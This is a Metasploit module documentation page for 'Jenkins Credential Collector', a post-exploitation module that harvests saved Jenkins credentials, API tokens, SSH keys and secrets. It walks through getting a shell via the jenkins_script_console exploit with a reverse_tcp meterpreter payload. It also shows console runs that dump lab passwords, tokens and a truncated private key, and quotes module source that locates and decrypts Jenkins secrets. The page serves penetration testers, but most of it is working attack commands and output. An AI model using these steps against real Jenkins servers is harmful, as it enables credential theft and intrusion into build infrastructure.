Jenkins Credential Collector - Metasploit


This page contains detailed information about how to use the post/multi/gather/jenkins_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Jenkins Credential Collector
Module: post/multi/gather/jenkins_gather
Source code: modules/post/multi/gather/jenkins_gather.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module can be used to extract saved Jenkins credentials, user tokens, SSH keys, and secrets. Interesting files will be stored in loot along with combined csv output.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/jenkins_gather

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/jenkins_gather
msf post(jenkins_gather) > show options
    ... show and set options ...
msf post(jenkins_gather) > set SESSION session-id
msf post(jenkins_gather) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/jenkins_gather")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Official Source: Jenkins

This module has been verified against:

  1. Jenkins 2.67 on Ubuntu 16.04 in Docker
  2. Jenkins 2.67 on Windows 7 SP 1
  3. Jenkins 2.60.1
  4. Jenkins 1.56

Verification Steps


  1. Set up Jenkins to obtain a shell (use Docker for quick setup)
  2. Run docker run -p 8080:8080 -p 50000:50000 jenkins
  3. Use the default setup and install "suggested plugins"
  4. Create new user admin, add a user or credential (via Manage Jenkins)
  5. Start msfconsole
  6. We'll use the jenkins_script_console module to quickly gain a shell
  7. Do: use exploit/multi/http/jenkins_script_console
  8. Do: set RHOST 172.17.0.1
  9. Do: set RPORT 8080
  10. Do: set TARGETURI /
  11. Do: set USERNAME admin
  12. Do: set PASSWORD or set API_TOKEN
  13. Do: set TARGET 1
  14. Do: set PAYLOAD linux/x86/meterpreter/reverse_tcp
  15. Do: set LHOST 192.168.56.105
  16. Do: exploit -j
  17. Do: use post/multi/gather/jenkins_gather
  18. Do: set SESSION 1
  19. Do: run
  20. You should see the saved credentials output

Options


SEARCH_JOBS

This option searches through the jobs folder for interesting keywords but obviously increases runtime on larger instances.

STORE_LOOT

This option saves interesting files and loot to disk. If set to false will simply output data to console.

Scenarios


Jenkins on Windows

msf post(jenkins_gather) > sessions

Active sessions
===============

  Id  Type                     Information                   Connection
  --  ----                     -----------                   ----------
  18  shell x86/linux                                        192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
  20  meterpreter x86/linux    uid=0, gid=0, euid=0, egid=0  192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
  21  meterpreter x86/windows  NT AUTHORITY\SYSTEM @ kali    192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
  23  shell x86/windows                                      192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)

msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch: 
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user 
  tokens, SSH keys, and secrets. Interesting files will be stored in 
  loot along with combined csv output.


msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at C:\Program Files\Jenkins
[+] Credentials found - Username: user1 Password: Password123456
[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
[+] Job Info found  - Job Name:  User: testpass Password: secretpass123
[+] Job Info found  - Job Name:  User: testpass Password: ohwowosupersecret
[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
[*] Searching through job history for interesting bits...
[+] Job Log truffles:
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
...
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
[+] 
Creds
=====

 Username  Password           Description
 --------  --------           -----------

 testpass  secretpass123                   
 testpass  ohwowosupersecret  
 user1     Password123456     

[+] 
API Keys
========

 Username      API Tokens
 --------      ----------
 admin         8a114e0fa48c1a489c39b98e94c986c8
 useruseruser  6810c3f6ccca939ac2a8b8ac4b9de012

[+] 
Nodes
=====

 Node Name  Hostname             Port  Description   Cred Id
 ---------  --------             ----  -----------   -------
 test       hostnode1.lab.local  22    testtesttest  972fc428-dd7c-46ea-a119-be78ae0866ad

[+] SSH Key
[*]  ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
[*]  Description: interesting description
[*]  Passphrase:  secretpassphrase123
[*]  Username:    sshkey1
[*] 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
...snip...
7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
-----END RSA PRIVATE KEY-----

[*] Post module execution completed


Jenkins 2.67 on Ubuntu 16.04

msf post(jenkins_gather) > set session 20
session => 18
msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch:
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user
  tokens, SSH keys, and secrets. Interesting files will be stored in
  loot along with combined csv output.

msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /root/.jenkins
[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
[*] Searching through job history for interesting bits...
[+] 
Creds
=====

 Username          Password         Description
 --------          --------         -----------
 thanksforthefish  whatagreatbook

[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 admin     9da706c125a4b5a4c19b1f799723175c
 user1     859e1d6ee6ab85804434fa5395ab962d

[*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/jenkins_gather post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/jenkins_gather

msf6 post(multi/gather/jenkins_gather) > show info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch: 
       Rank: Normal

Provided by:
  thesubtlety

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SEARCH_JOBS  false            no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION                       yes       The session to run this module on.
  STORE_LOOT   true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user 
  tokens, SSH keys, and secrets. Interesting files will be stored in 
  loot along with combined csv output.

Module Options


This is a complete list of options available in the multi/gather/jenkins_gather post exploitation module:

msf6 post(multi/gather/jenkins_gather) > show options

Module options (post/multi/gather/jenkins_gather):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SEARCH_JOBS  false            no        Search through job history logs for interesting keywords. Increases runtime.
   SESSION                       yes       The session to run this module on.
   STORE_LOOT   true             no        Store files in loot (will simply output file to console if set to false).

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/jenkins_gather post exploitation module:

msf6 post(multi/gather/jenkins_gather) > show advanced

Module advanced options (post/multi/gather/jenkins_gather):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/jenkins_gather module can do:

msf6 post(multi/gather/jenkins_gather) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/jenkins_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/jenkins_gather) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not read credentials.xml...


Here is a relevant code snippet related to the "Could not read credentials.xml..." error message:

60:	      if datastore['STORE_LOOT']
61:	        loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
62:	        vprint_status("File credentials.xml saved to #{loot_path}")
63:	      end
64:	    else
65:	      print_error("Could not read credentials.xml...")
66:	    end
67:	
68:	    xml_doc = Nokogiri::XML(f)
69:	    xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
70:	      username = node.xpath("username").text

Could not save SSH key to creds: <E.MESSAGE>


Here is a relevant code snippet related to the "Could not save SSH key to creds: <E.MESSAGE>" error message:

100:	          username: cred_id,
101:	          workspace_id: myworkspace_id
102:	        }
103:	        create_credential(credential_data)
104:	      rescue OpenSSL::OpenSSLError => e
105:	        print_error("Could not save SSH key to creds: #{e.message}")
106:	      end
107:	    end
108:	  end
109:	
110:	  def parse_users(file)

Cannot read master.key or hudson.util.Secret...


Here is a relevant code snippet related to the "Cannot read master.key or hudson.util.Secret..." error message:

303:	        vprint_status("File master.key saved to #{loot_path}")
304:	        loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
305:	        vprint_status("File hudson.util.Secret saved to #{loot_path}")
306:	      end
307:	    else
308:	      print_error "Cannot read master.key or hudson.util.Secret..."
309:	      print_error "Encrypted strings will not be able to be decrypted..."
310:	      return
311:	    end
312:	  end
313:	

Encrypted strings will not be able to be decrypted...


Here is a relevant code snippet related to the "Encrypted strings will not be able to be decrypted..." error message:

304:	        loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
305:	        vprint_status("File hudson.util.Secret saved to #{loot_path}")
306:	      end
307:	    else
308:	      print_error "Cannot read master.key or hudson.util.Secret..."
309:	      print_error "Encrypted strings will not be able to be decrypted..."
310:	      return
311:	    end
312:	  end
313:	
314:	  def find_home(platform)

No Jenkins installation found or readable, exiting...


Here is a relevant code snippet related to the "No Jenkins installation found or readable, exiting..." error message:

322:	        home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret", timeout = 120).split("\\")[0..-2].join("\\").strip
323:	      end
324:	    when "nix"
325:	      home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout = 120).split('/')[0..-2].join('/').strip
326:	    end
327:	    fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") if !exist?(home)
328:	    print_status("Found Jenkins installation at #{home}")
329:	    home
330:	  end
331:	
332:	  def gathernix

Invalid encrypted string: <ENCRYPTED>


Here is a relevant code snippet related to the "Invalid encrypted string: <ENCRYPTED>" error message:

378:	      encrypted_text = Base64.decode64(encrypted).bytes
379:	
380:	      iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
381:	      data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
382:	      if encrypted_text.length != (1 + 8 + iv_length + data_length)
383:	        print_error("Invalid encrypted string: #{encrypted}")
384:	      end
385:	      iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
386:	      code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
387:	
388:	      cipher = OpenSSL::Cipher.new('AES-128-CBC')

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • thesubtlety

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.